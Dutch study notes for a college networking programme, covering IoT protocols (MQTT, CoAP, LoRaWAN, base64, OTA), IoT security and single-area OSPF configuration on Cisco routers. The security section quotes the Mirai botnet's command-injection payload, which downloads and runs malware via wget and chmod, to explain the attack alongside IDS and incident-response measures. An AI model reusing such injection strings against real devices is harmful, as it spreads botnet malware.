This study material is in Dutch, the language of the course. Technical terms stay in English, as in the slides.
Zo werkt deze module
Deze uitleg is gemaakt uit de presentaties van sprint 3, 4 en 5 (ook de verborgen dia's en de notities onder de dia's) en uit de werkboeken. De docenten zeggen allemaal hetzelfde: de toetsvragen komen uit de presentaties, de notities, het werkboek (de stukjes "lesstof tentamen" / "exam material") en de documenten op Canvas. Bij ANW staat er bij moment 7, 8 en 9 zelfs expliciet: "let op de hidden slides".
| Vak | Wat je moet kunnen |
|---|---|
| IoT | Ongeveer 3 vragen per IoT-les per theorietoets, gebaseerd op de presentaties en de achtergrondinformatie daarin (werkboek IoT, 2.2). |
| ANW | De Cisco-stof (CCNA 3 hoofdstuk 8–10, CCNA 4 hoofdstuk 1–5): begrippen, getallen, commando's en hoe je iets configureert en controleert. |
| Cloud | Alles uit de PowerPoints en de notities, de commando's uit de labs "in het algemeen" begrijpen, plus de hoofdstukken uit Architecting the Cloud (Kavis). |
| AUT | Alles uit de PowerPoints en het werkboek. Code kunnen lezen en een fout uit een Flask-script halen. Bij Salt: welke services nodig zijn, waarvoor, en hoe je ze globaal configureert (de precieze configuratiefiles hoef je niet te kennen). |
Achter elke les staat een sprintlabel (S3, S4, S5). Onder elke les staat een link naar de oefenvragen van die les. In de oefentoets kun je ook per sprint oefenen en een proeftoets doen.
Vak 01 · 3 lessen
IoT
IoT bij CSC gaat vooral over de Internet-kant: welke protocollen en netwerkstandaarden je gebruikt en hoe je een omgeving met heel veel clients opzet. Hardware in de labs: de Heltec WiFi LoRa 32 (V3), een ESP32-bord. IoT 1 en 2 (wat is IoT, netwerk L1–L2) waren sprint 1 en 2.
S3IoT 3 · Netwerk L3–L7
"Up the stack": van de netwerklaag naar de applicatie. IP is bij IoT niet vanzelfsprekend, er zijn speciale berichtprotocollen (MQTT, CoAP), en data gaat vaak base64- of binair gecodeerd over de lijn.
IoT-stack naast de webstack
| Laag (TCP/IP) | Webstack | IoT-stack |
|---|---|---|
| Data format | HTML, XML, JSON | JSON, CBOR, binair |
| Applicatie | HTTP, DNS | CoAP, MQTT |
| Security | TLS | DTLS |
| Transport | TCP, UDP | UDP |
| Internet (netwerk) | IPv4/IPv6, IPsec | IPv6/IP-routing + 6LoWPAN |
| Datalink | Ethernet, Wi-Fi | IEEE 802.15.4 MAC |
| Fysiek | Ethernet, Wi-Fi | IEEE 802.15.4 PHY |
- IEEE 802.15.4 is de standaard voor low-rate wireless personal area networks (LR-WPAN). Zigbee en 6LoWPAN bouwen hierop. PHY in Europa: 868,0–868,6 MHz met één kanaal; wereldwijd 2400–2483,5 MHz met tot zestien kanalen.
- 6LoWPAN = IPv6 over Low-Power Wireless Personal Area Networks. Een IPv6-header van 40 bytes is te groot voor de kleine 802.15.4-frames, dus de IETF-werkgroep 6LoWPAN maakte uitbreidingen (vooral headercompressie) zodat IPv6 toch past.
- IPv6 kan ook samen met Bluetooth LE.
Laag 3 per technologie
| Technologie | L3-protocol | L3-adressering | Routing |
|---|---|---|---|
| LoRaWAN | LoRaWAN network server | DevAddr | Centraal via de network server |
| Wi-Fi | IPv4/IPv6 | IP | IP-based |
| BLE | Geen | 48-bit MAC | Geen |
| Zigbee | Zigbee NWK (proprietary) | 16-bit short of 64-bit extended | Mesh |
| Thread | IPv6 | IP (EUI-64) | IP-based mesh |
| 5G | IPv6 | IP | IP-based |
- Thread is het enige low-power meshprotocol in dit rijtje dat native IP is. Het is relatief nieuw, een L3-protocol, en bedoeld om het gebrek aan IP-support van Zigbee op te lossen met vergelijkbaar stroomverbruik, bereik en mesh. Het gebruikt een "OSPF-achtig" model voor meshrouting met volledige IPv6 op de devices. Zigbee IP (deprecated) is vervangen door Thread.
- Matter is een open standaard voor smart-home-communicatie op laag 4–7 (applicatie) en draait vaak over Thread met IPv6. Alexa, Google Home en Apple Home ondersteunen Matter. In Matter: BTP = Bluetooth Transport Protocol, MRP = Matter Reliability Protocol.
- 5G kan ook IPv4, maar IPv6 heeft de voorkeur en er zijn veel IPv6-only-netwerken.
- Wi-Fi en 5G zijn het best voor IP-native toepassingen met veel throughput. LoRaWAN, Zigbee en BLE hebben een gateway of protocolvertaling nodig om op een IP-netwerk te komen.
- Transport (L4) wordt vaak samen met de hogere lagen "gebundeld" in een oplossing. Als het transport IP is, zie je meestal UDP, want dat is lichtgewicht.
Message passing in IoT
Dit zijn de "sessielaag"-protocollen. Je kunt ze ook applicatielaag noemen: ze geven een high-level API (applicatielaag), regelen encryptie (presentatielaag) en beheren sessies (sessielaag). Ze dekken dus de bovenste lagen van het OSI-model.
| Protocol | Wat de docent erover zegt |
|---|---|
| CoAP — Constrained Application Protocol | "REST voor kleine apparaten", over UDP. Uitgebreid in IoT 4. |
| MQTT — Message Queue Telemetry Transport | Publish/subscribe via een broker. Deze les. |
| XMPP — Extensible Messaging and Presence Protocol | Ouderwets, steeds minder gebruikt. |
| RESTful services (HTTP/REST) | Behandeld bij andere vakken. |
| AMQP — Advanced Message Queuing Protocol | Soms nog in de cloud (server-server), meestal niet meer op de IoT-edge-devices. |
| Websockets | Als je bidirectioneel verkeer nodig hebt, maar niet echt lightweight. |
| gRPC (Google Remote Procedure Call) | Steeds vaker gebruikt, maar buiten de scope van de cursus. |
MQTT
- Asynchroon publish/subscribe (pub/sub) bovenop TCP. Uitgebracht door IBM, gestandaardiseerd door OASIS, voor lichtgewicht M2M-communicatie.
- Client/server-model: de broker (de server) bevat de topics. Clients zijn publisher (sturen naar een topic) of subscriber (krijgen de berichten van de topics waarop ze zijn geabonneerd). Alle communicatie loopt via de broker: de apparaten zien elkaar niet.
- Ontworpen voor weinig bandbreedte en laag batterijverbruik. Werd onder andere gebruikt voor Facebook Messenger.
- Beveiliging met TLS/SSL.
- Software: Mosquitto als broker op Linux, MQTT.fx of MQTT Explorer als GUI-client,
mosquitto_subop de commandline.
Drie QoS-niveaus:
| QoS | Naam | Hoe |
|---|---|---|
| 0 | Fire and forget (at most once) | Eén keer verstuurd, geen acknowledgement. |
| 1 | Delivered at least once | Ack verplicht; kan dubbel aankomen. |
| 2 | Delivered exactly once | Ack verplicht, met een four-way handshake zodat het precies één keer aankomt. |
Topics en wildcards. Topics zijn hiërarchisch met /, bijvoorbeeld house/room1/tmp.
+is een wildcard voor één niveau:house/rooms/+/sensors/temperaturematcht elke kamer.#is een wildcard voor alles daaronder en mag alleen aan het eind:house/#.
# voorbeeld uit de dia: sensor en display via de broker
1 sensor → broker : connect
2 display → broker : connect
3 display → broker : subscribe house/#
4 sensor → broker : publish house/room1/tmp 22.1
5 broker → display: publish house/room1/tmp 22.1
application/<id>/device/<devEUI>/….Base64
Base64 gebruik je om binaire data te versturen waar tekst wordt verwacht, bijvoorbeeld een .jpg in JSON. In het lab staat de LoRaWAN-payload base64-gecodeerd in het veld data.
- Er worden 64 tekens gebruikt:
A–Z(0–25),a–z(26–51),0–9(52–61),+(62) en/(63). Elk teken staat dus voor 6 bits. - Base64 werkt met blokken van 24 bits (3 bytes) die worden opgesplitst in 4 groepen van 6 bits. 3 bytes in, 4 tekens uit.
- Padding met
=zorgt dat de lengte altijd een veelvoud van 4 tekens is. Is de invoer geen veelvoud van 3 bytes, dan vul je aan met nullen, en tekens die alleen uit opvulling bestaan worden=.
# "Man" (3 bytes, geen padding)
ASCII M=77 a=97 n=110
binair 01001101 01100001 01101110
6-bits 010011 010110 000101 101110
decimaal 19 22 5 46
base64 T W F u → "TWFu"
# "Ma" (2 bytes, één byte padding)
binair 01001101 01100001 00000000 ← 8 nullen erbij
6-bits 010011 010110 000100 000000
decimaal 19 22 4 (pad)
base64 T W E = → "TWE="
# "M" (1 byte, twee bytes padding) → "TQ=="
ASCII is een 7-bitscode (man ascii op elke Unix toont de tabel). Decoderen op Linux: echo TWFu | base64 -d, en met od kun je de bytes bekijken.
DTLS
DTLS = Datagram Transport Layer Security. Gebaseerd op TLS, maar aangepast voor UDP in plaats van TCP. Het geeft versleuteling, authenticatie en integriteit voor UDP-verkeer, en werkt ook als pakketten verloren gaan, in een andere volgorde of dubbel aankomen. CoAP (en dus Matter en LwM2M) gebruikt DTLS.
Dataformaten
| JSON | XML | CBOR | |
|---|---|---|---|
| Voluit | JavaScript Object Notation | eXtensible Markup Language | Concise Binary Object Representation |
| Formaat | Tekst | Tekst | Binair |
| Leesbaar | Ja | Ja, maar breedsprakig | Nee |
| Grootte | Gemiddeld | Groot (door de tags) | Zeer compact |
| Parsen | Snel | Langzamer | Zeer snel |
| Schema | Optioneel (JSON Schema) | Sterk (XSD, DTD) | Optioneel (CBOR Schema) |
| Datatypes | Basis (string, number, array, object) | Tekstgebaseerd, uitbreidbaar | Rijk (binair, float, datum…) |
| In IoT | Veel (bijv. MQTT) | Zelden (te zwaar) | Ideaal (CoAP, Matter) |
| In web-API's | Heel veel | Legacy | Zelden (groeit in IoT) |
- YAML is een superset van JSON: elk geldig JSON-bestand is ook geldige YAML, maar niet andersom.
- ProtoBuf hoort bij gRPC en valt buiten de scope.
- jq is een handig tool om JSON te formatteren.
LoRaWAN en ChirpStack
- LoRa is alleen een PHY-protocol: je kunt er simpele berichten mee over een radionetwerk sturen, er is geen MAC-laag. LoRaWAN bouwt op LoRa en voegt de MAC-laag toe, plus de integratie in een service/platform. Daarmee kun je grote aantallen clients beheren en het spectrum eerlijk verdelen.
- ChirpStack is een open-source LoRaWAN-"platform": je draait alle serverdiensten zelf voor een private LoRaWAN. Alternatief is PaaS, zoals The Things Network of KPN (KPN noemt het LoRa, maar het is LoRaWAN).
- Architectuur ChirpStack: LoRa-gateways (UDP Packet Forwarder of Basics Station) → ChirpStack Gateway Bridge → MQTT-broker → ChirpStack → integraties (MQTT, HTTP, …). API-clients praten met gRPC met ChirpStack.
Adressen (EUI's = Extended Unique Identifiers)
| Identifier | Lengte | Doel | Toegekend door | Versie |
|---|---|---|---|---|
| DevEUI | 64-bit | Identificeert het device uniek | Fabrikant (IEEE EUI-64) | Alle versies |
| AppEUI | 64-bit | Identificeert de applicatie | Applicatie-/netwerkprovider | LoRaWAN 1.0.x |
| JoinEUI | 64-bit | Identificeert de Join Server (vervangt AppEUI) | Applicatieprovider | LoRaWAN 1.1+ |
De les gebruikt LoRaWAN 1.0.x. Na het joinen krijgt het device een DevAddr: het adres voor de sessie.
Activatie: OTAA (Over-the-Air Activation) in LoRaWAN 1.0
- Vooraf: device en network server kennen allebei de AppKey.
- Het device stuurt een Join-request met DevEUI, AppEUI/JoinEUI en een random nonce.
- De network server verwerkt het en genereert twee sessiesleutels: NwkSKey en AppSKey.
- De network server stuurt een versleutelde Join-accept terug (met o.a. de DevAddr).
- De network server houdt de NwkSKey en geeft de AppSKey aan de application server.
- Het device ontsleutelt de Join-accept (AES) en leidt met de AppKey en de AppNonce zelf dezelfde twee sessiesleutels af.
In LoRaWAN 1.1 is er een aparte Join Server, die via de JoinEUI wordt gevonden.
Uit het lab (weekopdracht): in ChirpStack maak je een application en een device (Heltec-profiel), genereer je de Join EUI en de AppKey, en zet je die als byte-array in de C++-code (3a4c wordt { 0x3a, 0x4c }). Je ziet onder Events en LoRaWAN frames de berichten. Opvallend: je stuurt 00010203 en krijgt 01000302 terug: dat komt door endianness (de bytevolgorde). Via Queue zet je een downlink in de wachtrij. Alles vanaf het joinen kan alleen op de HU, want je hebt een LoRaWAN-gateway nodig.
Lesopdracht: Bluetooth Low Energy
- Je hebt twee Heltecs nodig: een BLE-server en een BLE-client. De client verandert elke seconde een characteristic op de server.
- Pas de serviceUUID aan naar een eigen, unieke UUID (
uuidgen). Doe je dat niet, dan praat iedereen in het lokaal door elkaar: de UUID geeft je client en server hun eigen "kanaal". - Om de characteristic in
loop()te kunnen gebruiken moet de variabele een globale variabele zijn (scope).delay(2000)wacht 2000 milliseconden. Met de callbackonWrite()vanBLECharacteristicCallbackskun je reageren op elke write. - Waarom is BLE niet geschikt voor beheer op grote schaal? Kort bereik (meters tot enkele tientallen meters), geen L3/IP en dus geen routing, en het is point-to-point tussen twee apparaten in plaats van een netwerk met centraal beheer.
S4IoT 4 · Device data en management
Hoe registreer, configureer, update en bewaak je duizenden apparaten "in het veld", en wat doe je met hun data?
Lifecycle management
Een IoT-device doorloopt: implementatie → gebruik → onderhoud → buitengebruikstelling. De bootstrap is meestal geregeld via een ROM-bootimage of loader. Denk ook aan secure boot en een hardware root of trust (komt in S4 van de opleiding terug).
Registratie en provisioning
Provisioning is het proces waarbij een apparaat wordt voorbereid en geconfigureerd om veilig en correct te werken binnen een netwerk of platform. Dat omvat meestal:
- Identificatie: elk apparaat krijgt een unieke identiteit (serienummer, certificaat, MAC-adres).
- Netwerkparameters: Wi-Fi- of mobiele instellingen, IP-adressen, DNS-servers.
- Beveiligingsinstellingen: certificaten of sleutels installeren, toegangsrechten en authenticatie instellen.
- Toewijzing aan een beheerplatform, bijvoorbeeld Azure IoT Hub of AWS IoT Core.
- Configuratieprofielen: rapportage-interval, sensorgevoeligheid, firmwareversie.
- Zero-touch provisioning: automatische onboarding op grote schaal, zonder dat iemand elk apparaat handmatig instelt.
- Authenticatie: alleen vertrouwde apparaten toelaten, bijvoorbeeld met X.509-certificaten.
Configuration management op afstand
De devices zijn "in the field", dus configureren gebeurt op afstand, met apparaattemplates en configuratieprofielen. Een voorbeeld van zo'n beheerprotocol is LwM2M.
CoAP
- Constrained Application Protocol, "REST for the little guy": dezelfde REST-gedachte (methodes als GET en POST op een URI), maar met heel weinig overhead, over UDP.
- CoAP-berichten zijn binair, HTTP/REST is tekst. Een HTTP-request is al snel ~100+ bytes; hetzelfde CoAP-bericht is ~25 bytes. De payload zelf kan nog steeds JSON of CBOR zijn.
# POST /light {"state":"on"} als CoAP-bericht (~25 bytes)
44 versie, type (Confirmable), token-lengte
02 code (POST)
7d 34 message ID
c1 01 … optie: URI-path "light"
ff payload marker
7b 22 73 74… payload {"state":"on"} in UTF-8
| HTTP | CoAP | |
|---|---|---|
| Transport | TCP | UDP |
| Overhead | Hoog | Laag |
| Berichtformaat | Tekst (ASCII) | Binair (compact) |
| Ontworpen voor | Webbrowsers | IoT-devices |
| Betrouwbaarheid | Ingebouwd (TCP) | Optioneel (confirmable messages) |
| Security | TLS | DTLS |
LwM2M
- Lightweight Machine to Machine, ontwikkeld door de Open Mobile Alliance (OMA), voor apparaatbeheer en telemetrie, efficiënt voor apparaten met beperkte middelen.
- Gebaseerd op CoAP, beveiligd met DTLS.
- Client/server: het apparaat is de client, de beheerapplicatie is de server.
- Gestandaardiseerde objecten en interfaces:
- Device Registration: het apparaat meldt zich aan bij de server.
- Bootstrap: het initiële configuratieproces (serveradressen, beveiliging).
- Object Model: datastructuren zoals locatie, batterijstatus, firmware.
- Remote Management: instellingen wijzigen, herstarten, firmware-updates.
- Een beheerder kan zo bijvoorbeeld het rapportage-interval van een sensor wijzigen, de firmwareversie controleren en bijwerken, of de locatie opvragen.
Updates: OTA
Een update in het veld heet een Over The Air (OTA)-update. Het is cruciaal dat dat kan, en dan:
- Betrouwbaar: als het misgaat is je device "gebrickt" (een baksteen geworden) zonder dat je erbij kunt. Zorg voor een rollback-mogelijkheid die je op afstand kunt starten.
- Veilig: alleen de rechtmatige beheerder mag updaten, geen bad actor.
- Snel: bij een security-incident (zero-day) moet een update niet weken duren.
- Met minimale netwerkimpact: als 1.000.000 devices precies tegelijk (NTP-gesynchroniseerd) een update ophalen, is geen server of CDN groot genoeg. Smeer het uit over de tijd: creëer niet je eigen DDoS.
- Met minimale downtime: hoe langer down, hoe langer de dienst niet werkt.
In het begin van IoT was het gebrek aan goede updates een groot probleem. Veel "smart TV's" draaien heel oude software en zijn daardoor een gewild doelwit om een botnet voor een DDoS-aanval te bouwen.
Labs: lesopdracht = OTA-update via Wi-Fi opzetten op de Heltec (LoRa is niet geschikt: te weinig bandbreedte voor firmware). Weekopdracht = OTA in de keten: ChirpStack stuurt een downlink UPDATE_AVAILABLE, het device zet Wi-Fi aan, downloadt de firmware via HTTP(S), voert de OTA uit, reboot en meldt de nieuwe versie terug via LoRaWAN.
Monitoring en SIEM
- Health checks: batterijstatus, connectiviteit, sensorstatus.
- Telemetrie: realtime prestatiegegevens.
- Waarschuwingen en logboeken: integratie met een SIEM of dashboards.
SIEM = Security Information and Event Management: een systeem dat beveiligingsgegevens uit verschillende bronnen verzamelt, analyseert en correleert. Een SIEM doet:
- Verzamelen van loggegevens (firewalls, routers, servers, applicaties, IoT-apparaten).
- Normalisatie en opslag, voor analyse en compliance.
- Detectie van bedreigingen met correlatieregels en gedragsanalyse.
- Waarschuwingen en rapportage: automatische meldingen en dashboards.
- Ondersteuning bij incidentrespons.
Data management
| Fase | Wat |
|---|---|
| Verzameling | Sensorgegevens (temperatuur, beweging, locatie). Event-driven vs. continu: kiezen om bandbreedte en energie te sparen (denk aan poll vs. push uit sprint 1). Gateways doen aggregatie en pre-processing. |
| Opslag | Edge-opslag: lokaal, lage latentie; met bijvoorbeeld Apache Kafka cruciaal voor fault tolerance en high availability (een heel grote buffer). Cloudopslag: schaalbaar en centraal (Azure IoT Hub, S3, NoSQL). Bewaarbeleid: naleving en kostenbeheer. |
| Security en privacy | Encryptie tijdens transport (TLS, "transport level security") en tijdens opslag (AES, "encryption at rest"). Rolgebaseerd toegangsbeheer. Naleving: GDPR, HIPAA, ISO 27001. |
| Verwerking | Realtime (stream analytics), batch (periodieke analyses), ETL-pijplijnen (Extract, Transform, Load). |
| Visualisatie | Dashboards (Grafana, Power BI, Kibana), voorspellende analyse (ML voor onderhoud), anomaliedetectie. |
S5IoT 5 · Security en IoT in het project
Security challenges
- Grote attack surface door veel verspreide apparaten.
- Beperkte rekenkracht en geheugen.
- Verouderde software en/of zwakke protocollen.
- Fysieke toegang tot apparaten vergroot het risico op manipulatie.
- Samen: het ideale botnet voor een DDoS-aanval.
Voorbeeld: het Mirai-botnet
- Begon simpel met IoT-devices die nog well-known (standaard) credentials hadden.
- Later met URL's die bugs uitbuiten: in een parameter van een
GET-request staat een shell-commando (;$(cd /tmp; wget http://…/boatnet.arm7; chmod 777 boatnet.arm7; ./boatnet.arm7 …)). Dat is command injection: het apparaat voert de code uit, downloadt de malware, maakt die uitvoerbaar en start hem. - Daarna draait
boatnet.arm7op het apparaat en krijgt het instructies van de server (command and control).
Als je echt een server moet draaien
- Zet de server liever niet direct op het internet.
- Gebruik HTTP/1.1 en TLS met automatisch certificaatbeheer.
- Accepteer alleen requests voor jouw hostname (de
Host:-header), niet voor alleen het IP-adres. Scanners op internet benaderen IP-adressen. - Gebruik nginx of een andere bekende reverse proxy.
Maatregelen
| Maatregel | Kanttekening uit de dia |
|---|---|
| Encryptie van communicatie (TLS/DTLS) en opslag (AES) | Update de certificaten op tijd: veel storingen komen door verlopen certificaten. |
| Sterke authenticatie en autorisatie (certificaten, tokens) | Revoke tokens, certificaten en credentials als dat nodig is. |
| Secure boot en firmware-integriteitscontrole | Groot risico op gebrickte hardware als het niet goed gebeurt. |
| Regelmatige OTA-updates en patchbeheer | Wel met een back-out-procedure (brick-procedure). |
| Netwerksegmentatie en monitoring via SIEM | Firewall / NAT / IDS waar mogelijk. |
| Ongebruikte devices uitzetten | Een ongebruikt device kan nog steeds meedoen aan een DDoS. |
IDS en IOC's
- IDS = Intrusion Detection System, meestal op de router. Twee manieren:
- Signature-based: activiteit vergelijken met een database van bekende aanvalspatronen (zoals antivirus).
- Anomaly-based: een baseline van normaal gedrag maken en afwijkingen melden (handig voor onbekende dreigingen).
- Indicators of Compromise (IOC): elke malware/botnet heeft een "signature", bijvoorbeeld een IP-adres of URL waar het contact mee zoekt voor instructies. Die wordt gedetecteerd en gemeld. Eigenlijk al te laat (het device is al besmet), en na detectie moet je de malware nog wel verwijderen. Verdacht verkeer kun je opzoeken in een IOC-database (bijvoorbeeld RST Cloud).
- Verschil: een IDS kijkt naar verkeer; een SIEM (bijv. Splunk) verzamelt en correleert gegevens van de hele IT-omgeving.
Incidentrespons
- Detectie via SIEM en IDS/IPS.
- Isolatie van gecompromitteerde apparaten.
- Herstel via firmware-rollback en configuratieherstel.
- Rapportage van datalekken, bij de GDPR (AVG) binnen 72 uur.
Toekomstige trends
AI-gedreven dreigingsdetectie, Zero Trust-architecturen, hardwaregebaseerde beveiliging (TPM, Secure Elements) en post-quantum cryptografie.
IoT in het project (EPI)
De voor de hand liggende keten voor Menno's sportschool: Sensor → ESP32 → Netwerk → DB → app/grafiek.
| Stap | Opties uit de les |
|---|---|
| Sensor | Rep count, check-in op locatie in een parcours, beveiliging/toegang, locatietracking (gesimuleerde GPS), hartslag met centrale logging. |
| Netwerk | Wi-Fi (iotroam), BLE, LoRaWAN via ChirpStack en MQTT, LoRa → Wi-Fi. |
| Berichtprotocol | Formaat JSON of binair; transport-encoding; transportsecurity; protocol CoAP, MQTT of REST. |
| Database (op de Raspberry Pi) | Encryption at rest? Relationeel of time-series: Postgres, InfluxDB, Prometheus. |
| Applicatie | Grafana, Prometheus; app of webclient; stacks als ChirpStack, Domoticz, Home Assistant, Google Home. |
| Verder | mTLS, DTLS, RBAC, encryption at rest, OTA-firmware-update, logging, auditing, analytics, device management. |
Vak 02 · 5 momenten
ANW
Advanced Networking volgt de Cisco-curriculum: CCNA 3 (OSPF) en CCNA 4 (WAN, PPP, branch connections, ACL's, security en monitoring). Moment 7, 8 en 9 zijn "korte versies": de docent zegt er nadrukkelijk bij let op de hidden slides. Die stof staat hieronder er ook in.
Praktijktoets 2 gaat met name over ANW 4 tot en met 9 (ANW 1–3 is niet uitgesloten): EIGRP, OSPF single- en multi-area, statische routes, IPv4 en IPv6, PPP met CHAP en PAP, BGP, GRE (zonder IPsec), extended ACL's, L2-security (beperkt) en SNMP. Ook mogelijk: inter-VLAN-routing, VLAN's, STP, standby. Extra punten: script, NETCONF en Ansible.
S3Moment 5 · Single-area OSPF
CCNA 3 hoofdstuk 8 (en het begin van 9). OSPF is het routingprotocol dat je in multi-vendornetwerken en grote, complexe netwerken gebruikt.
Herhaling: RIP en EIGRP
- Successor: de beste route (laagste metric) naar een bestemming.
- Feasible successor: de backuproute met de op één na laagste metric, die al klaarligt.
- Reported distance (RD): de afstand die de buurrouter zelf meldt tot de bestemming. Feasible distance (FD): de totale afstand vanaf jouw router (RD + de kosten naar die buur).
- Neighbor-, topologie- en routingtabel heeft EIGRP ook; OSPF heeft ze net zo.
Kenmerken van OSPF
- Open Shortest Path First, een link-state-routingprotocol. OSPFv2 voor IPv4 (RFC 2328, 1998), OSPFv3 voor IPv6 (RFC 2740, 1999).
- Gebruikt het Dijkstra shortest path first (SPF)-algoritme om de beste route te kiezen.
- Gebruik: multi-vendornetwerken en complexe netwerken met veel routers en subnetten. Nadeel: gebruikt net als EIGRP meer resources (RAM, CPU, bandbreedte). Snel geconvergeerd na een wijziging, maar de eerste convergentie duurt langer dan bij de eerdere protocollen.
- Routingwijzigingen triggeren updates (geen periodieke volledige updates).
- Hiërarchisch ontwerp met areas: single-area (klein), multi-area (groot).
- Authenticatie: v2 ondersteunt MD5 en SHA, v3 gebruikt IPsec.
- Op een broadcastnetwerk: DR / BDR / DROTHER. Er zijn verschillende LSA-pakketjes voor de werking.
- Administrative distance bepaalt welke route in de routingtabel komt als hij uit meerdere bronnen wordt geleerd: de laagste AD wint. OSPF heeft AD 110.
De drie tabellen
| Database | Tabel | Inhoud | Bekijken |
|---|---|---|---|
| Adjacency database | Neighbor table | Alle buurrouters waarmee tweerichtingscommunicatie is. Uniek per router. | show ip ospf neighbor |
| Link-state database (LSDB) | Topology table | Informatie over alle andere routers: de netwerktopologie. Gelijk voor alle routers in dezelfde area. | show ip ospf database |
| Forwarding database | Routing table | De routes die het SPF-algoritme op de LSDB oplevert. Uniek per router. | show ip route |
Link-state-werking in stappen
- Routers sturen hello-pakketten om neighbor adjacencies op te bouwen.
- Ze floodden LSA's door de area met de kosten en de status van hun links.
- Elke router bouwt een topologietabel (LSDB).
- Elke router draait het SPF-algoritme en krijgt een SPF-boom met zichzelf als wortel.
- Elke router bouwt zijn routingtabel met het pad en de kosten naar elk netwerk.
OSPF-pakketten
OSPF zet zijn eigen header direct na de IP-header: IP-protocolnummer 89, bestemming multicast 224.0.0.5 (alle OSPF-routers) of 224.0.0.6 (DR/BDR). De OSPF-header bevat het pakkettype, de router-ID en de area-ID.
| Type | Pakket | Doel |
|---|---|---|
| 1 | Hello | Buren ontdekken en adjacencies opbouwen. |
| 2 | Database Description (DBD) | Verkorte lijst van de eigen LSDB, om te controleren of de databases synchroon zijn. |
| 3 | Link-State Request (LSR) | Om meer informatie vragen over een entry uit de DBD. |
| 4 | Link-State Update (LSU) | Antwoord op een LSR; bevat een of meer LSA's met route-informatie. |
| 5 | Link-State Acknowledgment (LSAck) | Bevestigt de andere pakkettypes. |
Hello-pakket: ontdekt buren, bouwt adjacencies, adverteert de parameters waarover twee routers het eens moeten zijn om buren te worden, en kiest de DR en BDR op multi-access-netwerken (Ethernet, Frame Relay; niet op seriële point-to-point). Velden: type, hello interval, router priority (standaard 1, bereik 0–255), dead interval, DR en BDR (router-ID's), lijst van buren.
- Hello interval: standaard 10 seconden op multi-access (Ethernet) en point-to-point, 30 seconden op NBMA (Frame Relay).
- Dead interval: standaard 4 × hello (dus 40 s). Komt er binnen die tijd geen hello, dan haalt OSPF de buur uit de LSDB en floodt het die informatie.
- Hello en dead interval moeten gelijk zijn op buurrouters op dezelfde link, anders worden ze geen buren.
- IPv4: naar 224.0.0.5. IPv6: naar FF02::5.
LSA-types in een LSU: 1 router, 2 network, 3 of 4 summary, 5 AS external, 6 multicast OSPF, 7 NSSA, 8 external attributes voor BGP, 9–11 opaque. (Meer in moment 6.)
OSPF-states
| State | Wat gebeurt er |
|---|---|
| Down | Nog geen hello ontvangen; de router stuurt hello's. |
| Init | Er komen hello's binnen met de router-ID van de zender. |
| Two-Way | Tweerichtingscommunicatie; op Ethernet worden hier de DR en BDR gekozen. |
| ExStart | Master/slave en het DBD-volgnummer afspreken; de master begint de DBD-uitwisseling. |
| Exchange | DBD's uitwisselen. Meer informatie nodig → Loading, anders → Full. |
| Loading | LSR's en LSU's halen de ontbrekende informatie op; SPF rekent. |
| Full | De databases zijn geconvergeerd (identiek). |
DR en BDR
Waarom een DR/BDR-verkiezing? Om het aantal LSA's te verminderen (alleen de DR stuurt de LSA's voor het gedeelde netwerk) en om het aantal adjacencies op een multi-access-netwerk zoals Ethernet te beperken. Bijvoorbeeld bij een serviceprovidernetwerk. De verkiezing en de details staan bij moment 6.
Router-ID
De router-ID is 32 bits en ziet eruit als een IPv4-adres, ook bij OSPFv3. De router kiest hem in deze volgorde:
- Het commando
router-id x.x.x.x. - Anders het hoogste loopback-IPv4-adres.
- Anders het hoogste actieve IPv4-adres op een fysieke interface.
- Na het wijzigen van de router-ID:
clear ip ospf process(in plaats van rebooten). Vergeet je dit, dan wordt de wijziging niet actief. - Vroeger bestond
router-idnog niet; toen gebruikte je een loopback voor een stabiele router-ID. Een loopback is direct actief, dus als OSPF eerder start dan de andere interfaces is OSPF meteen actief. De router-ID adverteer je niet met een network-statement. - Controleren:
show ip protocolsofshow ip ospf.
Configuratie van OSPFv2
R1(config)# router ospf 10 ! process-id, lokaal betekenisvol
R1(config-router)# router-id 1.1.1.1
R1(config-router)# network 172.16.1.0 0.0.0.255 area 0 ! methode 1: netwerk + wildcard
R1(config-router)# network 172.16.3.1 0.0.0.0 area 0 ! methode 2: interface-IP + 0.0.0.0
R1(config-router)# passive-interface g0/0
R1(config-router)# auto-cost reference-bandwidth 1000
- Met
networkgeef je aan welke interfaces meedoen in OSPF. Veelgemaakte fout: denken dat je alle netwerken van de hele area moet opgeven. Een router met drie interfaces in area 0 heeft drie network-statements nodig. - Gebruik bij single-area het liefst area 0.
- Wildcard mask = 255.255.255.255 min het subnetmasker. Bit 0 = moet overeenkomen, bit 1 = negeren. /24 → 0.0.0.255, /26 → 0.0.0.63, /30 → 0.0.0.3.
- Passive interface: stuurt geen OSPF-berichten uit die interface, maar het netwerk wordt wel geadverteerd. Best practice voor interfaces met alleen gebruikers erachter: veiliger en geen verspilde bandbreedte.
passive-interface defaultmaakt alles passief.
Cost: de metric van OSPF
Cost = reference bandwidth / interface bandwidth. De standaard reference bandwidth is 100 Mbps (108 bps). Lagere cost = beter pad. De cost naar een netwerk is de som van alle costs van bron naar bestemming; in de routingtabel is het het tweede getal tussen de haken, bijvoorbeeld [110/65] = AD 110, cost 65.
| Interface | Cost (ref 100 Mbps) | Cost (ref 1000) | Cost (ref 10000) |
|---|---|---|---|
| 10 Gigabit Ethernet | 1 | 1 | 1 |
| Gigabit Ethernet | 1 | 1 | 10 |
| Fast Ethernet (100 Mbps) | 1 | 10 | 100 |
| Ethernet (10 Mbps) | 10 | 100 | 1000 |
| Serieel T1 (1,544 Mbps) | 64 | 647 | 6476 |
| Serieel 128 kbps | 781 | 7812 | 78125 |
| Serieel 64 kbps | 1562 | 15625 | 156250 |
auto-cost reference-bandwidth 1000 (voor Gigabit) of 10000 (voor 10 Gigabit), in Mbps, op alle routers. Dat verandert alleen de berekening, niet de bandbreedte van de interface.- Voorbeeld uit de dia: R1 → R2 LAN over een T1 plus een Gigabit-LAN = 64 + 1 = 65. Met reference 1000: 647 + 1 = 648.
bandwidth 64(in kilobits, interfacemodus) verandert alleen de OSPF/EIGRP-berekening, niet de echte snelheid. Seriële links staan standaard op 1,544 Mbps, wat vaak niet klopt. Pas het aan beide kanten van de link aan.no bandwidthzet het terug.- In plaats daarvan kun je de cost direct zetten:
ip ospf cost 15625. show interfacestoont de interfacebandbreedte.
Controleren
| Commando | Toont |
|---|---|
show ip ospf neighbor | Buren: Neighbor ID (router-ID van de buur), Pri, State (FULL, 2WAY; een streepje betekent geen DR/BDR nodig), Dead Time, Address, Interface. |
